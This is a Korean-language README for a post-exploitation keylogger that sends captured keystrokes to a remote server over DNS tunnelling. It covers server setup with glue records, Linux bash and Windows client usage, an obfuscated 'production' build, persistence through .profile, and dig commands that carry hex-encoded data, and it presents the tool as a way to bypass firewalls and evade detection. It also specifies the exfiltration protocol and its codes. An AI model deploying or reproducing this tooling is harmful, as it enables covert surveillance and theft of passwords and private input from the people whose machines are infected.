
DNS 터널링/유출을 사용하여 방화벽을 통해 키 입력을 전송하는 키로깅 서버 및 클라이언트.
이 사후 침투 키로거는 키 입력을 은밀하게 서버로 유출합니다.
이 도구들은 가벼운 유출과 지속성에 탁월하여 탐지를 방지합니다. 방화벽을 우회하고 탐지를 피하기 위해 DNS 터널링/유출을 사용합니다.
서버는 python3를 사용합니다.
종속성을 설치하려면 python3 -m pip install -r requirements.txt를 실행하세요.
서버를 시작하려면 python3 main.py를 실행하세요.
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
기본적으로 서버는 UDP 포트 53에서 수신 대기합니다. 다른 포트를 지정하려면 -p 플래그를 사용하세요.
ip는 서버의 IP 주소입니다. SOA 및 NS 레코드에 사용되어 다른 네임서버가 서버를 찾을 수 있도록 합니다.
domain은 수신 대기할 도메인으로, 서버가 권한을 가진 도메인이어야 합니다.
등록 기관에서 도메인의 네임스페이스를 사용자 지정 DNS로 변경해야 합니다.
두 도메인 ns1.example.com 및 ns2.example.com을 가리키도록 설정하세요.

네임스페이스 도메인이 유출 서버의 IP 주소를 가리키도록 레코드를 추가하세요.

이는 글루 레코드를 설정하는 것과 동일합니다.
Linux 키로거는 두 개의 bash 스크립트로 구성됩니다. connection.sh는 logger.sh 스크립트에서 키 입력을 서버로 보내는 데 사용됩니다. 파일과 같은 데이터를 수동으로 보내려면 데이터를 connection.sh 스크립트에 파이프로 전달할 수 있습니다. 스크립트가 자동으로 연결을 설정하고 데이터를 전송합니다.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
키로거를 시작하려면 ./logger.sh [domain] && exit 명령을 실행하세요. 이렇게 하면 키로거가 조용히 시작되고 입력된 모든 내용이 전송됩니다. 끝에 && exit를 사용하면 exit 시 셀이 종료됩니다. 이것이 없으면 종료 시 키로깅되지 않은 셀로 돌아갑니다. 오류 메시지를 표시하려면 &> /dev/null을 제거하세요.
-p 옵션은 모든 입력이 전송되는 임시 로그 파일의 위치를 지정합니다. 기본값은 /tmp/입니다.
-l 옵션은 경고 및 오류를 표시합니다. 디버깅에 유용할 수 있습니다.
logger.sh와 connection.sh는 키로거가 작동하려면 같은 디렉터리에 있어야 합니다. 지속성을 원한다면 명령을 .profile에 추가하여 새 대화형 셸이 시작될 때마다 실행되도록 할 수 있습니다.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
키로깅 프로그램을 빌드하려면 windows 디렉터리에서 make를 실행하세요. 크기를 줄이고 일부 난독화를 적용하여 빌드하려면 production 대상을 사용하세요. 이렇게 하면 build 디렉터리가 생성되고 build 디렉터리에 logger.exe 파일이 출력됩니다. Windows 10에서 MinGW를 사용하여 빌드하는 것만 테스트했습니다. Windows가 아닌 머신에서 g++를 사용하려고 하면 windows.h 관련 빌드 오류가 발생할 가능성이 높습니다.
make production domain=example.com
또한 debug 대상을 사용하여 디버깅이 포함된 프로그램을 빌드할 수도 있습니다.
make debug domain=example.com
두 대상 모두 서버가 수신 대기 중인 도메인을 지정해야 합니다.
dig를 사용하여 서버에 요청을 보낼 수 있습니다:
dig @127.0.0.1 a.1.1.1.example.com A +short 로컬호스트의 서버에 연결 요청을 보냅니다.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short 로컬호스트에 테스트 메시지를 보냅니다.
example.com을 서버가 수신 대기 중인 도메인으로 바꾸세요.
a로 시작하는 A 레코드 요청은 "연결"의 시작을 나타냅니다. 서버가 이를 수신하면 마지막 옥텟에 클라이언트의 ID가 포함된 가짜 예약되지 않은 IP 주소로 응답합니다.
연결 시작을 위한 형식은 다음과 같습니다: a.1.1.1.[sld].[tld].
서버는 다음 형식의 IP 주소로 응답합니다: 123.123.123.[id]
동시 연결 수는 254개를 초과할 수 없으며, 클라이언트는 "연결 해제"된 것으로 간주되지 않습니다.
b로 시작하는 A 레코드 요청은 서버로 전송되는 유출 데이터를 나타냅니다.
연결 설정 후 데이터 전송을 위한 형식은 다음과 같습니다: b.[packet #].[id].[data].[sld].[tld].
서버는 [code].123.123.123으로 응답합니다.
id는 연결 시 설정된 ID입니다. 데이터는 16진수로 인코딩된 ASCII로 전송됩니다.
code는 아래 설명된 코드 중 하나입니다.
200: OK클라이언트가 정상적으로 처리된 요청을 보내면 서버는 코드 200으로 응답합니다.
201: 잘못된 레코드 요청클라이언트가 잘못된 레코드 요청을 보내면 서버는 코드 201로 응답합니다.
202: 존재하지 않는 연결클라이언트가 연결 수보다 큰 ID로 데이터 패킷을 보내면 서버는 코드 202로 응답합니다.
203: 순서가 잘못된 패킷클라이언트가 예상과 일치하지 않는 패킷 ID로 패킷을 보내면 서버는 코드 203으로 응답합니다. 클라이언트와 서버는 패킷 번호를 0으로 재설정해야 합니다. 그런 다음 클라이언트는 새 패킷 ID로 패킷을 다시 보낼 수 있습니다.
204: 최대 연결 도달클라이언트가 최대 연결 수에 도달했을 때 연결을 시도하면 서버는 코드 204로 응답합니다.
클라이언트는 응답을 수신된 패킷의 확인으로 간주해야 합니다. 응답을 받지 못하면 동일한 페이로드를 다시 보내야 합니다.
사용자 입력이 포함된 로그 파일에는 백스페이스, 삭제, 캐리지 리턴과 같은 ASCII 제어 문자가 포함됩니다. cat과 같은 도구로 내용을 출력하는 경우 cat의 -v 옵션과 같이 ASCII 제어 문자를 출력하는 적절한 옵션을 선택하거나 텍스트 편집기에서 여세요.
키로거는 script에 의존하므로 비대화형 셸에서는 실행되지 않습니다.
어떤 이유로 Windows Dns_Query_A는 항상 중복 요청을 보냅니다. 서버는 중복 패킷을 무시하므로 정상적으로 처리합니다.